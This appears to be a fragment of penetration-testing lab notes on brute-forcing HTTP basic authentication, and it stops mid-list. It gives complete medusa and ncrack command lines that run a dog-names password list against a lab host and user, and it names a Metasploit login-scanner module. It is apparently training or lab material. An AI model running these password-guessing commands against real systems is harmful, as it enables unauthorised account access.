With Medusa Does­n’t seem to work with vir­tu­al hosts! medusa -h 10.11.1.49 -u bethany -P Dog_Names_normalized.txt -M http -m DIR:/~Public -T 2 With ncrack Does­n’t seem to work with vir­tu­al hosts! ncrack -vv --user bethany -P Dog_Names_normalized.txt http://10.11.1.49:9505 -m http:path=/~Public/ With metasploit Use mod­ule auxiliary/scanner/http/http_login Virtual hosts If Host head­ers are not supported: More